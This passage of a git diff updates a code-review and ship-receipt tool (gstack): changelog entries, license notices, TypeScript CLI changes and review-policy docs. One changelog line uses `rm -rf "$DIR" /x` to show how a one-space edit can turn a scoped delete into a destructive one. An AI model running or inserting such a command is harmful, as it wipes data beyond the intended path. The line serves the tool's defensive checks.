diff --git a/CHANGELOG.md b/CHANGELOG.md index da71a0088..35995930f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,20 +9,26 @@ - **`lib/review-scope.ts`, `bin/gstack-review-scope`** (`classify`, `defer`, `render`, `summary`): each finding gets a `locus` (`diff`, `fix-range`, `outside`; a hunk plus three context lines), a `kind`, `blocking` (a CRITICAL defect: a test that would fail, a production break, a security or data-loss defect) and a `scope`: `fix`, `defer` (a blocking finding in code the PR did not change, filed as a GitHub issue reused through a `` marker, `unfiled ()` without `gh`) or `note`. `render` writes the PR body's `## Deferred findings` and `## Review notes` sections; `summary --since ` reads this invocation's review-log rows into the receipt's `review_loop` counters. Refusals end in `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE`. - **`.gstack/ship-policy.json` `review_scope`** (`frozen` | `diff-plus-blocking` | `all`, default `frozen`, since 1.91.249.0; a non-default value needs `min_gstack_version`): the blocking floor is owner-approved (Garry, 2026-10-26: "Ok set it at that"); `diff-plus-blocking` is the documented fallback that fixes a blocking finding in unchanged code in this PR instead of filing it, and `all` is the earlier loop, every finding fixed on every pass. `show-effective` prints the choice as a `ship: review_scope …` line ([docs/ship-policy.md#review-scope](docs/ship-policy.md#review-scope)). - **`gstack-ship-receipt carry (--pr | --body ) --base [--dry-run] [--json]`**: moves the receipt to HEAD when the receipt head is an ancestor of HEAD and the product diff against the base has the same `git patch-id` at both heads; tests (`CARRY_TEST_GLOBS`), release metadata (`CARRY_METADATA_GLOBS`) and the base merge's own commits may differ. The carried receipt records `carry: { from, reason, product_patch_id, changed_paths, merge_commits, range_diff, covers, reruns }`, prints `CARRY: carried from to ()` and the `GSTACK_RESULT` line, and its summary line ends `carried_from=`. A product change is `RECEIPT_CARRY_PRODUCT_CHANGED` (exit 3, naming the paths); a rebased or missing receipt is `RECEIPT_CARRY_REFUSED`. `write` takes `--review-loop `; `ShipReceipt` gains optional `review_loop` and `carry` with schema ([docs/ship-policy.md#receipt-carry](docs/ship-policy.md#receipt-carry), [docs/unattended.md](docs/unattended.md#the-terminal-line)). +- **Severity glossary and lead judgment** (ideas absorbed from tstack's sol-loop and pstack's interrogate, rewritten; NOTICE.md): `docs/review-policy.md`, `ship/sections/review-army.md` Step 9.4 and `review/checklist.md` budget the loop by three words (a **blocker** is the intended case gone wrong, the floor; a **should** is a real bug a caller will hit inside the intended case, fixed in the diff on pass 1 and deferred otherwise; a **nit** is the rest, a named note) and carry two stop rules (fixes that grew the diff past the request are cut first; the cap approves nothing, so a standing blocker is reported). The finding merge both /review and /ship render (`scripts/resolvers/review-army.ts`) gains stage 4, lead judgment: nit gravity, hypothetical versus actual, structure for a case nothing takes, a different design is not a defect, missing context; independent agreement is the strongest signal and a reviewer's `NO FINDINGS` stands until a traced defect says otherwise. Every specialist prompt accepts an optional `cause` ({path, line}): a defect the diff causes in code it did not change (a broken caller, a consumer of a removed export) keeps the victim as `path` and the changed line in `cause`, and `classify` follows the anchor, so the finding is the diff's to fix rather than deferred to an issue. ### Changed - **`ship/sections/review-army.md` Step 9**: first entry saves `REVIEW_SINCE` and the `review_scope` line; every entry saves `PASS_HEAD`, and from pass 2 `RANGE_BASE` is the previous pass's head, so every prompt the step diffs from the merge base (specialists, Red Team, the outside voice in the adversarial section) reads `RANGE_BASE..HEAD` under `frozen`. Step 9.4 item 0 classifies the pass's findings, item 1 queues only `scope: fix`, item 3.5 defers and renders, and the summary line adds `D deferred, O noted`. Decision 2 keeps the three-cycle fix cap and adds the pass cap: a blocking finding still in `fix` scope on pass 3 stops for the owner with the finding named; a pass whose remaining findings are all below the floor applies no edits and ships through decision 4. The review-log row gains `pass`, `review_scope` and `range_base`. - **Specialist and Red Team prompts** (`scripts/resolvers/review-army.ts`, both /review and /ship): `NO FINDINGS` alone is the expected, complete result for a clean diff and never a failed reviewer; CRITICAL is defined as the blocking floor and everything else is INFORMATIONAL. Shared prose was tightened by the same number of bytes, so /review's generated size is unchanged on every host. - **`ship/sections/pr-body.md`**: the body carries the `## Deferred findings` and `## Review notes` sections verbatim from `render`, and the receipt write runs after `gstack-review-scope summary`. - **`ship/SKILL.md` Step 1**: item 4, the carry check, runs `gstack-ship-receipt carry --pr --base ` when the branch has an open PR; `CARRY: carried` ends the run with the receipt bound to HEAD. +- **`gstack-ship-receipt carry`, after its own pre-landing review** (two blocking findings reproduced in the QA smoke before the fix): the product patch-id is `git patch-id --verbatim`, so a whitespace-only edit to a reviewed line (`rm -rf "$DIR"/x` → `rm -rf "$DIR" /x`) is a product change; `package.json` and `VERSION` are release metadata only while the from..head change is a version stamp and nothing else (`lib/pregate/stamp-only.ts`), so a dependency, a script or a new key is product; lockfiles left the default metadata list (product unless the policy's `stamp_files`/`stamp_paths` name them); the test globs name code extensions (`**/*.test.ts`, `**/*.spec.rb`, …), so an `openapi.spec.yaml` is product; a working tree with uncommitted changes is `RECEIPT_CARRY_REFUSED` before anything is compared (the carry binds HEAD alone, and a parent that stops at `CARRY: carried` would otherwise report pending edits as shipped); a receipt carried twice keeps the reviewed head as `carry.from` and adds up the hops' merges and paths; the per-path comparison stops at the 20 paths the refusal names and the advisory `git range-diff` gets 15 s; `carry.reruns` says that test and helper code changed since the reviewed head runs in CI unreviewed. +- **`gstack-review-scope`**: `classify` refuses an unresolvable base with `POLICY_SOURCE_UNAVAILABLE` instead of reading the working tree's policy silently (pass `--policy` to classify without the base), validates `--range-base` as a commit id, runs git with `core.quotePath=false` so a non-ASCII changed path matches its finding, and records `range_base: null` on pass 1; a blocking finding with no path is `fix`, never an issue against `(no path)`; the Testing specialist's `category: testing` is a test finding below the floor (`TEST_GAP_CATEGORIES`), as the policy says; `defer` searches once for every marker before creating anything and files nothing when the search fails (a rate-limited rerun cannot duplicate issues), and exits 0 with `unfiled ()` lines (the documented degraded path); `summary` refuses with `REVIEW_SCOPE_INPUT` when no via-ship review pass matches `--since`, and `ship/sections/pr-body.md` chains it to the receipt write with `&&` after removing the previous loop file, so a receipt cannot record a loop that did not happen. +- **`ship/sections/review-army.md` pass 2 range**: the core checklist read (item 2) also diffs `$RANGE_BASE` from pass 2 on, as the dispatched prompts already did; the gate scan and the QA probes keep the whole candidate. `docs/review-policy.md` and `docs/ship-policy.md` say so, and name the release that added `review_scope` through `REVIEW_SCOPE_KEY_VERSION` instead of repeating the number. ### Tests - `test/review-scope.test.ts`: hunk parsing and locus with context, the blocking floor, `fix`/`defer`/`note` on pass 1 and pass 2 with a range base, the `all` policy, deferred-issue reuse through the marker and the unfiled path, the rendered sections and the summary counters. - `test/gstack-ship-receipt.test.ts`: a base merge and a test-only change carry (receipt names HEAD, `carry` holds the range-diff, the summary line ends `carried_from=`); a product change is `RECEIPT_CARRY_PRODUCT_CHANGED` exit 3 naming the path; a non-ancestor head is `RECEIPT_CARRY_REFUSED`; `--review-loop` lands in the receipt and its summary line. - `test/gstack-ship-policy.test.ts`: the `ship: review_scope frozen` consequence line, `all` or `diff-plus-blocking` without `min_gstack_version` and an unknown value are `POLICY_INVALID`. `test/review-fix-range.test.ts` asserts the Step 9 prose (PASS_HEAD, RANGE_BASE, classify, the cap rule). +- `test/review-loop-budget-wording.test.ts` (new): the glossary, the stop rules, the lead-judgment stage in both review armies, the `cause` anchor in every specialist prompt, and that `docs/review-policy.md` repeats no version number. `test/review-scope.test.ts`: a non-ASCII changed path classifies as `diff/fix`; `cause` anchors; an unplaced blocking finding is `fix`; `category: testing` is a test gap (asserted against `review/specialists/testing.md`'s schema line); `--pass 0`, `--policy loose`, an option-shaped `--range-base` and a non-array `render --deferred` refuse; an unresolvable base is `POLICY_SOURCE_UNAVAILABLE`; `defer` lists once, files nothing on a failed search and exits 0 unfiled; `summary` refuses zero passes. `test/gstack-ship-receipt.test.ts`: a whitespace-only edit to a reviewed line and a dirty tree refuse; a lockfile edit and a package.json dependency or script change refuse by path while a version-only stamp carries; a receipt carried twice keeps the reviewed head; the `classifyCarryPath` rows for lockfiles, `.spec.yaml`, stamp-only and non-stamp manifests. ### Gate integrity - No threshold, timeout, trial count or case kind changed. The ship parity `maxSizeRatio` in `test/helpers/carve-guards.ts` moves 1.6740 → 1.7010 (measured 319,071 / 187,706 = 1.6998) and `maxSkeletonBytes` 81,600 → 82,700 (measured 82,645) for Step 1's carry check, Step 9's scope prose and the skeleton's Review policy paragraph. The gstack-review host pins in `test/fixtures/skill-md-size-allowlist.json` go up by 250 characters on all eight pinned hosts (agy, codex, copilot, cursor, factory, kiro, opencode, slate) for the three-line policy statement in Step 4; the resolver prose that renders into those hosts was trimmed by the same number of bytes it gained for the `NO FINDINGS` and floor sentences. Owner decision for the pin raise: Garry, 2026-10-26, "Gstack should be the actual holder of how to do things not one off Capy files". +- Pass-1 review fixes raised the same two caps again, each with its measurement: ship `maxSizeRatio` 1.7010 → 1.7150 (measured 321,630 / 187,706 = 1.7135) for the lead-judgment stage, the `cause` anchor, the glossary, the stop rules and pass 2's core read; review `maxSizeRatio` 1.2960 → 1.3100 (measured 141,949 / 108,523 = 1.3080) for the shared lead-judgment stage and `cause` anchor. The gstack-review pins on the five hosts that inline the review-army section (cursor, factory, kiro, opencode, slate) go up by 1,396 characters each to their exact rendered sizes; agy, codex and copilot carve the section and are unchanged. The owner's standing decision for these raises is the one that opened the lane (GStack Minder, 2026-10-26: the two wording contributions are inside the "too overzealous" ruling, and a cap raise with a stated reason is the lane's to make). `test/review-workflow-clarity.test.ts`'s merge-stage marker list follows the new stage numbering (eight stages; the Red Team reruns 1–8); no assertion was weakened. `test/review-scope.test.ts`'s `defer` expectation moved from exit 3 to exit 0 because the contract moved (the prose always said `unfiled` keeps the finding deferred), and its `summary` zero-pass expectation from a zero record to a refusal, both by decision, not to pass. ## [1.91.248.0] - 2026-10-26 diff --git a/NOTICE.md b/NOTICE.md index 831e0162a..58f994b59 100644 --- a/NOTICE.md +++ b/NOTICE.md @@ -58,3 +58,22 @@ https://github.com/google-labs-code/design.md `design-consultation/sections/proposal-and-preview.md.tmpl` implement the format (YAML token front matter in five groups, eight canonical sections in spec order, `{path}` token references). No specification text is reproduced. + +## tstack — Copyright Theo Browne — MIT License + +https://github.com/t3dotgg/tstack (`skills/sol-loop`, at 7de017b3). Ideas, not text: the +three-word severity glossary (blocker, should, nit) and the two stop rules (a review that +grew the diff cuts first; the end of the budget is not approval) in +`ship/sections/review-army.md.tmpl`, `review/checklist.md` and `docs/review-policy.md` +are written in gstack's words and mapped onto gstack's blocking floor. No sentence is copied, +so no license text is carried; this entry is a courtesy. + +## pstack — Copyright Lauren Tan — MIT License + +https://github.com/cursor/plugins (`pstack/skills/interrogate`, `lead-judgment.md`). Ideas, +not text: the lead-judgment filters applied before a merged review finding counts (nit +gravity, hypothetical versus actual, structure for a case that does not exist, a different +design is not a defect, missing context; independent agreement as the strongest signal; +`NO FINDINGS` as a correct result) in `scripts/resolvers/review-army.ts` stage 4 and +`docs/review-policy.md` are written in gstack's words. No sentence is copied, so no license +text is carried; this entry is a courtesy. diff --git a/bin/gstack-review-scope b/bin/gstack-review-scope index c135005ee..35f5a3910 100755 --- a/bin/gstack-review-scope +++ b/bin/gstack-review-scope @@ -23,10 +23,10 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; import { EXIT, exitTableHelp } from '../lib/headless-artifacts'; import { resultLineWithDocs } from '../lib/result-codes'; -import { isUnavailable, loadPolicyFromBase, loadPolicyFromHead, resolveBaseBranch } from '../lib/ship-policy'; +import { isUnavailable, loadPolicyFromBase, policyUnavailableLine, resolveBaseBranch } from '../lib/ship-policy'; import { parseHunks, renderDeferredIssue, renderDeferredSection, reviewLoopLine, scopeFindings, scopeLine, summarizeReviewLoop, - findingIdentity, findingWhere, REVIEW_SCOPE_POLICIES, type DeferredRecord, type ReviewScopePolicy, type ScopeFinding, type ScopedFinding, + DEFERRED_MARKER, findingIdentity, findingWhere, REVIEW_SCOPE_POLICIES, type DeferredRecord, type ReviewScopePolicy, type ScopeFinding, type ScopedFinding, } from '../lib/review-scope'; const HELP = `gstack-review-scope — finding scope for /ship's review loop (docs/ship-policy.md#review-scope) @@ -51,7 +51,8 @@ function flag(args: string[], name: string): string | undefined { return i >= 0 ? args[i + 1] : undefined; } function git(args: string[], cwd: string): { ok: boolean; out: string; err: string } { - const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 }); + // quotePath off: a non-ASCII path must come back as itself, not as "caf\303\251.ts", or the hunk map never matches the finding. + const r = spawnSync('git', ['-c', 'core.quotePath=false', ...args], { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 }); return { ok: r.status === 0, out: r.stdout ?? '', err: (r.stderr ?? '').trim() }; } function gh(args: string[], cwd: string): { ok: boolean; out: string; err: string } { @@ -83,7 +84,9 @@ function cmdClassify(rest: string[], json: boolean): number { policy = policyFlag; } else { const load = loadPolicyFromBase(repoRoot, base); - policy = (isUnavailable(load) ? loadPolicyFromHead(repoRoot) : load).policy.review_scope; + // The reviewed policy is the base's; the working tree's copy is never read silently (pass --policy to override). + if (isUnavailable(load)) { process.stderr.write(policyUnavailableLine('gstack-review-scope classify', base, `${load.detail}; pass --policy to classify without the base`) + '\n'); return EXIT.refused; } + policy = load.policy.review_scope; } let findings: ScopeFinding[]; try { findings = readFindings(flag(rest, '--findings'), 'findings'); } catch (e: any) { return refuse('classify', 'REVIEW_SCOPE_INPUT', e.message); } @@ -96,6 +99,7 @@ function cmdClassify(rest: string[], json: boolean): number { const diffHunks = parseHunks(diff.out, untracked); let rangeHunks = null; const rangeBase = flag(rest, '--range-base'); + if (rangeBase !== undefined && !/^[0-9a-f]{7,64}$/i.test(rangeBase)) return refuse('classify', 'REVIEW_SCOPE_INPUT', `--range-base must be a commit id, got ${JSON.stringify(rangeBase.slice(0, 40))}`); if (pass > 1) { if (!rangeBase) return refuse('classify', 'REVIEW_SCOPE_INPUT', '--range-base (HEAD at the start of the previous pass) is required from pass 2 on'); const ancestor = git(['merge-base', '--is-ancestor', rangeBase, 'HEAD'], repoRoot); @@ -107,7 +111,7 @@ function cmdClassify(rest: string[], json: boolean): number { const scoped = scopeFindings(findings, { policy, pass, diffHunks, rangeHunks }); const line = scopeLine(policy, pass, scoped); process.stderr.write(line + '\n'); - process.stdout.write(json ? JSON.stringify({ policy, pass, range_base: rangeBase ?? null, findings: scoped }) + '\n' : line + '\n' + JSON.stringify(scoped, null, 2) + '\n'); + process.stdout.write(json ? JSON.stringify({ policy, pass, range_base: pass > 1 ? rangeBase : null, findings: scoped }) + '\n' : line + '\n' + JSON.stringify(scoped, null, 2) + '\n'); return EXIT.ok; } @@ -126,18 +130,24 @@ function cmdDefer(rest: string[], json: boolean): number { head: git(['rev-parse', 'HEAD'], repoRoot).out.trim() || undefined, }; const dryRun = rest.includes('--dry-run'); + // One search for every marker, before any create: a failed search files nothing, so a rate-limited rerun cannot duplicate issues. + let filed: Array<{ number: number; url: string; body: string }> | null = null; + let searchError = ''; + if (!dryRun && toDefer.length) { + const existing = gh(['issue', 'list', ...repoArgs, '--state', 'open', '--search', `"${DEFERRED_MARKER}" in:body`, '--json', 'number,url,body', '--limit', '200'], repoRoot); + if (existing.ok) { try { filed = JSON.parse(existing.out); } catch { searchError = 'gh issue list returned no JSON'; } } + else searchError = `gh issue list failed: ${(existing.err || 'unknown').split('\n')[0]!.slice(0, 160)}`; + if (!Array.isArray(filed)) filed = null; + } const records: DeferredRecord[] = []; for (const f of toDefer) { const { title, body, marker } = renderDeferredIssue(f, ctx); const record: DeferredRecord = { fingerprint: findingIdentity(f), path: findingWhere(f), severity: String(f.severity ?? 'unrated'), summary: String(f.summary ?? f.problem ?? f.category ?? ''), issue: null }; - if (dryRun) { record.reason = 'dry run'; records.push(record); continue; } - const existing = gh(['issue', 'list', ...repoArgs, '--state', 'open', '--search', `"${marker.replace(//g, '').trim()}" in:body`, '--json', 'number,url,body', '--limit', '20'], repoRoot); - if (existing.ok) { - try { - const hit = (JSON.parse(existing.out) as Array<{ number: number; url: string; body: string }>).find(i => typeof i.body === 'string' && i.body.includes(marker)); - if (hit) { record.issue = hit.number; record.url = hit.url; record.reason = 'already filed'; records.push(record); continue; } - } catch { /* fall through to create */ } - } + records.push(record); + if (dryRun) { record.reason = 'dry run'; continue; } + if (!filed) { record.reason = searchError; continue; } + const hit = filed.find(i => typeof i.body === 'string' && i.body.includes(marker)); + if (hit) { record.issue = hit.number; record.url = hit.url; record.reason = 'already filed'; continue; } const bodyFile = path.join(fs.mkdtempSync(path.join(process.env.TMPDIR ?? '/tmp', 'gstack-deferred-')), 'issue.md'); fs.writeFileSync(bodyFile, body, { mode: 0o600 }); const created = gh(['issue', 'create', ...repoArgs, '--title', title, '--body-file', bodyFile], repoRoot); @@ -146,15 +156,15 @@ function cmdDefer(rest: string[], json: boolean): number { const url = created.out.trim().split('\n').pop() ?? ''; const n = Number(/\/issues\/(\d+)\s*$/.exec(url)?.[1]); if (Number.isInteger(n)) { record.issue = n; record.url = url; } else record.reason = `gh returned no issue url: ${url.slice(0, 120)}`; - } else record.reason = `gh issue create failed: ${(created.err || existing.err || 'unknown').split('\n')[0]!.slice(0, 160)}`; - records.push(record); + } else record.reason = `gh issue create failed: ${(created.err || 'unknown').split('\n')[0]!.slice(0, 160)}`; } + // Unfiled is the documented degraded path, not a failure: the finding stays deferred and the PR body names the reason. for (const r of records) process.stderr.write(`DEFERRED: ${r.issue ? `#${r.issue}` : `unfiled (${r.reason ?? 'no gh'})`} ${r.severity} ${r.path}\n`); if (!records.length) process.stderr.write('DEFERRED: none\n'); const out = flag(rest, '--out'); if (out) fs.writeFileSync(out, JSON.stringify(records, null, 2) + '\n'); - process.stdout.write(json ? JSON.stringify(records) + '\n' : renderDeferredSection(records, [], 'frozen')); - return records.some(r => r.issue === null && r.reason !== 'dry run') ? EXIT.refused : EXIT.ok; + process.stdout.write(json ? JSON.stringify(records) + '\n' : renderDeferredSection(records)); + return EXIT.ok; } function cmdRender(rest: string[]): number { @@ -183,6 +193,8 @@ function cmdSummary(rest: string[], json: boolean): number { } const summary = summarizeReviewLoop(rows, since); const line = reviewLoopLine(summary); + // A /ship invocation always runs Step 9 once; zero matching rows means the wrong --since or a review log written elsewhere, never a loop to record. + if (summary.passes === 0) return refuse('summary', 'REVIEW_SCOPE_INPUT', `no review-log row of this branch is a via:ship review at or after ${since}; check REVIEW_SINCE (${line})`); process.stderr.write(line + '\n'); const out = flag(rest, '--out'); if (out) fs.writeFileSync(out, JSON.stringify(summary) + '\n'); diff --git a/bin/gstack-ship-receipt b/bin/gstack-ship-receipt index 208466f6c..7ff67ea8f 100755 --- a/bin/gstack-ship-receipt +++ b/bin/gstack-ship-receipt @@ -38,9 +38,9 @@ import { readPregateFile, verifyPregate } from '../lib/pregate/index'; import { isUnavailable, loadPolicyFromBase, resolveBaseBranch } from '../lib/ship-policy'; import { approvalForReceipt } from '../lib/approval-citations'; import { - CARRY_METADATA_GLOBS as CARRY_METADATA_GLOBS_EXPORT, CARRY_TEST_GLOBS as CARRY_TEST_GLOBS_EXPORT, + CARRY_METADATA_GLOBS, CARRY_TEST_GLOBS, bindReceipt, carryReceipt, classifyCarryPath, computeCensus, extractReceipt, missingIssueLines, orderReceipt, parseReviewLoop, placeReceiptFirst, planCarry, - receiptIssuesFrom, receiptSummaryLine, renderCensus, renderReceiptBlock, validateReceipt, type CarryClass, type CensusPr, + receiptIssuesFrom, receiptSummaryLine, renderCensus, renderReceiptBlock, validateReceipt, type CensusPr, } from '../lib/ship-receipt'; import { resolveStateRoot } from '../lib/state-root'; @@ -281,12 +281,17 @@ function writeRunRecord(a: { receipt: ShipReceipt; head: string; pr: string | un return EXIT.ok; } -/** One diff's stable patch-id over a pathspec; empty when the diff is empty. */ +/** + * One diff's patch-id over a pathspec; empty when the diff is empty. `--verbatim` + * keeps whitespace in the hash (the default and `--stable` strip it, so a space + * moved in a shell line would read as the same patch) while still ignoring the + * hunk line numbers a base merge shifts. + */ function patchId(repoRoot: string, from: string, to: string, pathspec: string[]): string | undefined { const diff = spawnSync('git', ['diff', '--no-color', '--no-ext-diff', '--full-index', from, to, '--', ...pathspec], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 256 * 1024 * 1024 }); if (diff.status !== 0) return undefined; if (!diff.stdout.trim()) return ''; - const id = spawnSync('git', ['patch-id', '--stable'], { cwd: repoRoot, input: diff.stdout, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 }); + const id = spawnSync('git', ['patch-id', '--verbatim'], { cwd: repoRoot, input: diff.stdout, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 }); if (id.status !== 0) return undefined; return id.stdout.trim().split(/\s+/)[0] ?? ''; } @@ -349,6 +354,11 @@ function cmdCarry(rest: string[], json: boolean): number { } const ancestor = spawnSync('git', ['merge-base', '--is-ancestor', from, head], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000 }); if (ancestor.status !== 0) return refused('RECEIPT_CARRY_REFUSED', `the receipt's head ${from.slice(0, 12)} is not an ancestor of HEAD ${head.slice(0, 12)} (rebased or force-pushed); merge the base in next time, and run /ship now`); + // The carry binds HEAD alone: pending edits are not in the commits it compares, and a parent that stops at CARRY: carried would report them shipped. + const status = spawnSync('git', ['status', '--porcelain', '--untracked-files=all'], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 }); + if (status.status !== 0) return refused('RECEIPT_CARRY_REFUSED', 'git status failed; the carry needs a readable working tree'); + const dirty = status.stdout.split('\n').filter(Boolean).map(l => l.slice(3).replace(/^.* -> /, '')); + if (dirty.length) return refused('RECEIPT_CARRY_REFUSED', `the working tree has uncommitted changes (${dirty.slice(0, 5).join(', ')}${dirty.length > 5 ? ` +${dirty.length - 5} more` : ''}); commit them and carry at the new head, or run /ship`); const base = flag(rest, '--base') ?? receipt.base ?? resolveBaseBranch(repoRoot); const baseRef = `origin/${base.replace(/^origin\//, '')}`; const fromBase = git(['merge-base', baseRef, from], repoRoot); @@ -359,24 +369,34 @@ function cmdCarry(rest: string[], json: boolean): number { const extra = { metadata: [...(policy?.stamp_files ?? []), ...(policy?.stamp_paths ?? []), ...(policy?.release_outputs ?? []), ...(policy?.changelog ? [policy.changelog] : [])] }; const changedRaw = git(['diff', '--name-only', from, head], repoRoot); if (changedRaw === undefined) return refused('RECEIPT_CARRY_REFUSED', `git diff ${from.slice(0, 12)} ${head.slice(0, 12)} failed`); - const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra) as CarryClass })); + // A default-metadata manifest is read at both heads: only a version stamp keeps it out of the product patch. + const blobAt = (ref: string, p: string): string | null => { const r = spawnSync('git', ['show', `${ref}:${p}`], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 }); return r.status === 0 ? r.stdout : null; }; + const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra, CARRY_METADATA_GLOBS.includes(p) ? { before: blobAt(from, p), after: blobAt(head, p) } : undefined) })); // Pathspecs by class: tests and metadata are excluded from the product patch; the test patch is the tests alone. const excludeGlobs = (globs: readonly string[]) => globs.map(g => `:(exclude,glob)${g}`); - const metadataGlobs = [...CARRY_METADATA_GLOBS_EXPORT, ...extra.metadata]; - const productSpec = ['.', ...excludeGlobs(CARRY_TEST_GLOBS_EXPORT), ...excludeGlobs(metadataGlobs)]; - const testSpec = [...CARRY_TEST_GLOBS_EXPORT.map(g => `:(glob)${g}`), ...excludeGlobs(metadataGlobs)]; + const demoted = new Set(changed.filter(c => c.class === 'product' && CARRY_METADATA_GLOBS.includes(c.path)).map(c => c.path)); + const metadataGlobs = [...CARRY_METADATA_GLOBS.filter(g => !demoted.has(g)), ...extra.metadata]; + const productSpec = ['.', ...excludeGlobs(CARRY_TEST_GLOBS), ...excludeGlobs(metadataGlobs)]; + const testSpec = [...CARRY_TEST_GLOBS.map(g => `:(glob)${g}`), ...excludeGlobs(metadataGlobs)]; const productFrom = patchId(repoRoot, fromBase, from, productSpec); const productHead = patchId(repoRoot, headBase, head, productSpec); const testFrom = patchId(repoRoot, fromBase, from, testSpec) ?? ''; const testHead = patchId(repoRoot, headBase, head, testSpec) ?? ''; if (productFrom === undefined || productHead === undefined) return refused('RECEIPT_CARRY_REFUSED', 'git could not compute the product patch-id at one of the heads'); - const changedProduct = productFrom === productHead ? [] : changed.filter(c => c.class === 'product').map(c => c.path) - .filter(p => patchId(repoRoot, fromBase, from, [p]) !== patchId(repoRoot, headBase, head, [p])); - if (productFrom !== productHead && !changedProduct.length) changedProduct.push('(a product path outside the from..head file list; compare the two base diffs)'); + // planCarry names at most 20 differing paths, so the per-path comparison (two patch-ids each) stops there. + const changedProduct: string[] = []; + if (productFrom !== productHead) { + for (const p of changed.filter(c => c.class === 'product').map(c => c.path)) { + if (changedProduct.length >= 20) break; + if (patchId(repoRoot, fromBase, from, [p]) !== patchId(repoRoot, headBase, head, [p])) changedProduct.push(p); + } + if (!changedProduct.length) changedProduct.push('(a product path outside the from..head file list; compare the two base diffs)'); + } const mergeCommits = (git(['rev-list', '--merges', '--count', `${from}..${head}`], repoRoot) ?? '0').trim(); - const rangeRaw = spawnSync('git', ['range-diff', '--no-color', `${fromBase}..${from}`, `${headBase}..${head}`], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 }); - const rangeDiff = rangeRaw.status === 0 ? (rangeRaw.stdout.trim().split('\n').slice(0, 20).join('\n') || '(empty: identical ranges)') : `unavailable: ${(rangeRaw.stderr ?? '').trim().split('\n')[0] ?? 'range-diff failed'}`; - const plan = planCarry({ from, head, fromBase, headBase, changed, productPatchId: { from: productFrom, head: productHead }, testPatchId: { from: testFrom, head: testHead }, changedProduct, mergeCommits: Number(mergeCommits) || 0, rangeDiff }); + // Evidence for the record, never the decision: a slow range-diff is reported unavailable rather than waited for. + const rangeRaw = spawnSync('git', ['range-diff', '--no-color', `${fromBase}..${from}`, `${headBase}..${head}`], { cwd: repoRoot, encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024 * 1024 }); + const rangeDiff = rangeRaw.status === 0 ? (rangeRaw.stdout.trim().split('\n').slice(0, 20).join('\n') || '(empty: identical ranges)') : `unavailable: ${(rangeRaw.stderr ?? '').trim().split('\n')[0] || (rangeRaw.signal ? `range-diff killed by ${rangeRaw.signal} after 15 s` : 'range-diff failed')}`; + const plan = planCarry({ from, head, changed, productPatchId: { from: productFrom, head: productHead }, testPatchId: { from: testFrom, head: testHead }, changedProduct, mergeCommits: Number(mergeCommits) || 0, rangeDiff }); if (!plan.ok) return refused(plan.code, plan.message); const carried = carryReceipt(receipt, head, plan.carry); const errors = validateReceipt(carried); @@ -397,7 +417,7 @@ function cmdCarry(rest: string[], json: boolean): number { if (!edit.ok) return incomplete(`gh pr edit failed: ${edit.err}; the receipt was not carried`); } process.stdout.write(`CARRY: carried from ${from.slice(0, 12)} to ${head.slice(0, 12)} (${plan.carry.reason})\n`); - return writeRunRecord({ receipt: carried, head, pr, source, repoRoot, out: flag(rest, '--out'), json, line, incomplete, extra: { carried_from: from, carry_reason: plan.carry.reason } }); + return writeRunRecord({ receipt: carried, head, pr, source, repoRoot, out: flag(rest, '--out'), json, line, incomplete, extra: { carried_from: carried.carry!.from, carry_reason: carried.carry!.reason } }); } function sinceDate(repo: string, since: string): string | undefined { diff --git a/docs/review-policy.md b/docs/review-policy.md index a87f5cf93..c72c3742b 100644 --- a/docs/review-policy.md +++ b/docs/review-policy.md @@ -12,9 +12,26 @@ instead of restating it. A one-line crew rule is enough: A finding is **blocking** when it is a CRITICAL defect: it would fail a test, break production, or lose data or secrets. Everything else is below the floor: -an advisory, an informational item, a test gap, a wording or naming note, a -style or simplification suggestion. Below-floor findings are reported, never -fixed after pass 1 of a ship, and never earn another review pass. +an advisory, an informational item, a test finding (category `testing`: a gap, +a weak or flaky test), a wording or naming note, a style or simplification +suggestion. Below-floor findings are reported, never fixed after pass 1 of a +ship, and never earn another review pass. + +Three words cover every finding, and the loop budgets by them: a **blocker** is +the intended case gone wrong (the floor above); a **should** is a real bug a +caller will hit inside the intended case (fixed when it is in the diff on pass +1, deferred when it is not); a **nit** is the rest (a named note). Two stop +rules follow: if a pass's fixes grew the diff past what the request needs, cut +that growth first; and the cap approves nothing, so a standing blocker is +reported, never waved through. + +Before a merged finding counts, the parent applies lead judgment +(`review/sections/review-army.md`, `ship/sections/review-army.md`, stage 4 of +the merge): a reviewer whose whole return is nits found nothing; a defect names +the call site or input that reaches it, or it is a note; structure for a case +nothing takes is advisory; "I would have done it differently" is not a finding; +a finding that assumes a rule the repository documents otherwise is dropped with +the pointer. Independent agreement between reviewers is the strongest signal. Every reviewer prompt gstack dispatches (the core checklist, each specialist, the Red Team, the outside voice) carries this definition: CRITICAL means the @@ -38,12 +55,15 @@ incomplete coverage, which blocks until the reviewer is rerun. finding in code the PR did not change is `defer`: `gstack-review-scope defer` files it as a GitHub issue (one per finding, reused across reruns through an `` marker; `unfiled ()` - when `gh` is unavailable) and the PR body lists it under `## Deferred findings`. + when `gh` is unavailable or its search fails, still exit 0) and the PR body + lists it under `## Deferred findings`. Below-floor findings outside the diff are `note`, listed under `## Review notes`. 2. **Pass 2 and later review only the range since the previous pass.** Each pass - saves its head; the next pass diffs `RANGE_BASE..HEAD` for every reviewer and - classifies with `--range-base`. Only a blocking finding in that range or in the - diff is `fix`; every below-floor finding is a `note`. + saves its head; the next pass diffs `RANGE_BASE..HEAD` for every reviewer (the + gate scan and QA probes keep the whole candidate) and classifies with + 